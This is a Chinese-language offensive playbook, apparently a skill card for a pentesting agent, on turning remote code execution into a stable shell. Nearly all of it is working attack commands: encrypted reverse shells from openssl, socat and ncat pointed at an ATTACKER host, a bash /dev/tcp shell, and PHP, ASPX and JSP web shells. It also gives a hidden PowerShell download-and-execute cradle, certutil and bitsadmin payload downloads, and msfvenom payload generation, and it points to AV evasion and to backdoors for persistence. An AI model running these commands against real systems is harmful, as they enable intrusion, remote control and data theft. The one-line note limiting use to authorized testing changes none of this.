在获得远程命令执行后建立反弹/绑定 Shell、加密…

当已具备 RCE 或上传能力、需要在 Linux/Windows/Web 目标上获取稳定交互式远程 Shell 并传输工具时使用。

适用场景

解决思路

1. 选择反弹还是绑定 Shell：优先反弹 Shell（出站通常放行、可穿透 NAT、出站连接不易被察觉）；仅当目标无出站且攻击者能入站访问时才用绑定 Shell。
2. 建立 OpenSSL 加密反弹 Shell：攻击者执行 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost' 生成证书，再执行 openssl s_server -quiet -key key.pem -cert cert.pem -port 4444 监听；受害端执行 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s。
3. 建立 Socat 加密 Shell：攻击者执行 openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt，再 cat shell.key shell.crt > shell.pem，然后 socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT；受害端执行 socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane。
4. 建立 Ncat SSL Shell：攻击者执行 ncat --ssl -lvnp 4444；受害端执行 ncat --ssl ATTACKER 4444 -e /bin/bash。
5. 部署 PHP Web Shell：写入 <?php system($_GET['cmd']); ?>、<?php echo shell_exec($_GET['cmd']); ?>、<?php passthru($_REQUEST['cmd']); ?>、极简隐蔽版 <?=`$_GET[0]`?>，或带口令的 POST 版 <?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?>。
6. 部署 ASPX Web Shell：使用 <%@ Page Language="C#" %> 与 System.Diagnostics 命名空间，通过 Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); 执行命令。
7. 部署 JSP Web Shell：通过 Runtime.getRuntime().exec(request.getParameter("cmd")) 执行命令并用 BufferedReader 读取输出到 out.println。
8. Web Shell 上传与触发流程：找到上传点并利用扩展名绕过上传 Shell，定位上传文件路径（可预测路径、目录列表或响应泄露），用 GET /uploads/shell.php?cmd=id 触发，再通过 ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' 升级为反弹 Shell。
9. 标准 PTY 升级：先执行 python3 -c 'import pty;pty.spawn("/bin/bash")' 生成 PTY，按 Ctrl+Z 后台化，在攻击者端执行 stty raw -echo; fg，回到 Shell 后执行 export TERM=xterm-256color 和 stty rows 40 cols 160。
10. 替代 PTY 升级方式：使用 script /dev/null -c bash；使用 socat 全 PTY（攻击者 socat file:`tty`,raw,echo=0 tcp-listen:4444，受害端 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444）；攻击者端用 rlwrap nc -lvnp 4444 获得 readline 支持；或用 /usr/bin/expect -c 'spawn bash; interact'。
11. Linux 文件传输：用 wget http://ATTACKER:8000/file -O /tmp/file 或 curl http://ATTACKER:8000/file -o /tmp/file；攻击者用 python3 -m http.server 8000 起 HTTP 服务；用 nc 传输（接收端 nc -lvnp 9999 > file，发送端 nc RECEIVER 9999 < file）；无工具时用 base64（源端 base64 -w0 file，目标端 echo "BASE64_STRING" | base64 -d > file）；通过跳板用 scp -o ProxyJump=pivot user@target:/path/file ./local。
12. Windows 文件传输：使用 (New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')；使用 Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file 或 iwr http://ATTACKER/file -o C:\temp\file；使用 certutil -urlcache -f http://ATTACKER/file C:\temp\file；使用 bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file；攻击者用 impacket-smbserver share /tmp/share -smb2support 起 SMB 共享，目标端 copy \\ATTACKER\share\file C:\temp\file。
13. PowerShell 反弹 Shell：使用 TCPClient 一行式（$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);... 循环读取执行并回写）；用下载执行 cradle：powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"；用 Base64 编码执行：$bytes = [Text.Encoding]::Unicode.GetBytes($cmd); $encoded = [Convert]::ToBase64String($bytes); powershell -ep bypass -enc $encoded。
14. 用 msfvenom 生成载荷：Linux ELF 用 msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell；Windows EXE 用 msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe；Meterpreter 用 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o meter.exe；Web 载荷用 msfvenom -p php/reverse_php ... -f raw > shell.php、msfvenom -p java/jsp_shell_reverse_tcp ... -f raw > shell.jsp、msfvenom -p windows/x64/shell_reverse_tcp ... -f aspx -o shell.aspx；DLL/HTA/VBS 用 -f dll -o evil.dll、-f hta-psh -o evil.hta、-f vbs -o evil.vbs。
15. 按决策树选择路径：已有 RCE 时 Linux 优先用 bash/python/perl 一行式反弹，需要加密用 OpenSSL/socat SSL，出站被封则用绑定 Shell 或隧道；Windows 优先 PowerShell 反弹，需要二进制用 msfvenom，被 AV 拦截则加载 windows-av-evasion；Web 服务器可上传时按 PHP/ASPX/JSP 部署 Web Shell 再升级为反弹 Shell。
16. 拿到哑 Shell 后按可用工具升级：有 Python 用 PTY 升级，有 script 用 script /dev/null -c bash，有 socat 用 socat 全 PTY，都没有则在攻击者端用 rlwrap 提供 readline。
17. 传输工具时按平台选择：Linux 用 wget/curl/nc/base64，Windows 用 certutil/PowerShell/bitsadmin/SMB，无出站时用 base64 复制粘贴。
18. Shell 建立后继续推进：提权加载 linux/windows-privilege-escalation，横向移动加载 tunneling-and-pivoting，持久化则植入后门。

适用边界 · 注意事项

• 仅用于获得授权的渗透测试、红队演练或 CTF 等合法场景，禁止用于未授权攻击。
• 绑定 Shell 在目标位于 NAT 后或入站被过滤时不可用，应改用反弹 Shell 或隧道。
• 当目标出站被严格过滤且无可用隧道时，反弹 Shell 与下载 cradle 均会失败，需改用绑定 Shell 或 base64 复制粘贴等无出站方式。